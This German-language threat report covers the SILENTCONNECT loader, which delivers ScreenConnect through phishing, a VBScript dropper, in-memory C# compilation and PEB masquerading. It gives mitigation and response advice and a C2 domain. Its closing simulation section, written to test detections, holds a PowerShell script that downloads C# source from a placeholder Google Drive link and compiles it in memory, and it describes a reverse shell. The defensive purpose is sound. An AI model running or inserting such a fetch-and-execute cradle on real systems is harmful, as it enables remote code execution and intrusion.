Von Einladung zur Infektion: Wie SILENTCONNECT ScreenConnect liefert

Zusammenfassung

Der Bericht beschreibt einen mehrstufigen Loader namens SILENTCONNECT, der sich auf einen VBScript-Dropper, die In-Memory-Kompilierung von C#-Code mit PowerShell und PEB-Maskerade verlässt, um das ConnectWise ScreenConnect Fernverwaltungstool leise bereitzustellen. Der Angriff beginnt mit einer Phishing-E-Mail, die die Opfer durch eine Cloudflare Turnstile CAPTCHA-Seite leitet, bevor die VBScript-Nutzlast bereitgestellt wird. Dieses Skript ruft eine C#-Komponente von Google Drive ab, kompiliert sie im Arbeitsspeicher und lädt dann einen ScreenConnect MSI von einer bösartigen Domain herunter, um als Windows-Dienst Persistenz zu etablieren. Die Kampagne mischt vertrauenswürdige Hosting-Dienste mit Living-off-the-Land-Binaries, um das Erkennungsprofil zu minimieren.

Untersuchung

Elastic Security Labs identifizierte eine Kette ungewöhnlicher Windows-Skript-Warnungen, die letztendlich die auf Cloudflare R2 gehostete Datei E-INVITE.vbs offenlegten. Die Analyse zeigte, dass das Skript einen PowerShell-Befehl startete, der curl.exe aufrief, um eine C#-Quelldatei von Google Drive abzurufen, die dann direkt im Arbeitsspeicher kompiliert und ausgeführt wurde. Der Loader verwendete NtAllocateVirtualMemory, um ausführbaren Speicher zu reservieren, PEB-Maskerade anzuwenden und eine Windows Defender-Ausschlussregel einzufügen, bevor der ScreenConnect-Installer mit curl heruntergeladen und durch msiexec ausgeführt wurde. Network-Telemetrie zeigte, dass der bereitgestellte Client eine C2-Endpunktverbindung zu bumptobabeco.top über TCP-Port 8041 herstellte.

Minderung

Sicherheitsteams sollten verdächtige PowerShell-Befehlszeilen mit Aufrufen von curl.exe, die Erstellung temporärer Ordner unter C:Temp und ungewöhnliche Add-Type-Kompilierungen von heruntergeladenem C#-Quellcode überwachen. Die Erkennung sollte auch PEB-Maskerade berücksichtigen, indem Prozesse gekennzeichnet werden, deren BaseDLLName- oder FullDllName-Werte nicht mit dem tatsächlichen Modulpfad übereinstimmen. Ausgehender Verkehr zu unbekannten Domains, die MSI-Installer hosten, sollte blockiert oder streng überprüft werden, und die Ausführung von msiexec sollte für nicht vertrauenswürdige Quellen streng kontrolliert werden. Windows Defender-Ausschlüsse dürfen nur über genehmigte administrative Arbeitsabläufe angewendet werden.

Reaktion

Wenn diese Indikatoren beobachtet werden, isolieren Sie sofort den betroffenen Host, beenden Sie den bösartigen Prozess und entfernen Sie den installierten ScreenConnect-Dienst. Sammeln Sie forensische Beweise, einschließlich temporärer Dateien, der kompilierten .NET-Assembly und aller heruntergeladenen MSI-Pakete. Setzen Sie nicht autorisierte Windows Defender-Ausschlüsse zurück und stellen Sie die UAC-Einstellungen wieder her, falls diese geändert wurden. Durchsuchen Sie dann die weitere Umgebung nach passenden Ladeprogrammartefakten und aktualisieren Sie die Erkennungsinhalte mit allen neu identifizierten IOCs.

Simulation Execution

Voraussetzung: Die Telemetrie- und Basis-Landestartsüberprüfung muss bestanden werden.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Kommandos und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, genau die Telemetrie zu erzeugen, die von der Erkennung erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu einer Fehldiagnose.

• Angriffs-Narrativ & Kommandos:

  1. Initiale Erkundung & Nutzlastabruf – Der Angreifer hostet eine bösartige C#-Quelldatei auf Google Drive. Mit PowerShell laden sie die Rohdatei herunter über Invoke-WebRequest.
  2. In-Memory-Kompilierung – Die heruntergeladene C#-Quelle wird direkt im Speicher kompiliert mit Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src.
  3. Ausführung – Der resultierende .NET-Typ wird instanziiert und seine Run() Methode wird aufgerufen, um eine Reverse-Shell zu etablieren.
  4. Verschleierung – Die Befehlszeile wird gestartet mit -ExecutionPolicy Bypass um Richtlinienblöcke zu vermeiden, die genau den Zeichenfolgen entsprechen, die die Regel überwacht.

• Regressionstest-Skript:

  # -------------------------------------------------
  # Simuliertes Angreifer-Skript – löst Sigma-Regel aus
  # -------------------------------------------------
  # 1. Definieren Sie die Remote-C#-Payload-URL (Google Drive-Teilen-Link)
  $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID"
  
  # 2. Laden Sie die C#-Quelle in eine Variable herunter
  $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
  
  # 3. Kompilieren und laden Sie die Nutzlast im Speicher
  Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp
  
  # 4. Führen Sie die Nutzlast aus (geht von einer Klasse namens "Payload" mit statischer Methode "Run" aus)
  # -------------------------------------------------

• Bereinigungskommandos:

  # Entfernen Sie alle temporären Dateien (keine erstellt) und entladen Sie die im Speicher befindliche Assembly
  # PowerShell bietet kein direktes Entladen; beenden Sie den Prozess bei Bedarf
  Stop-Process -Id $PID -Force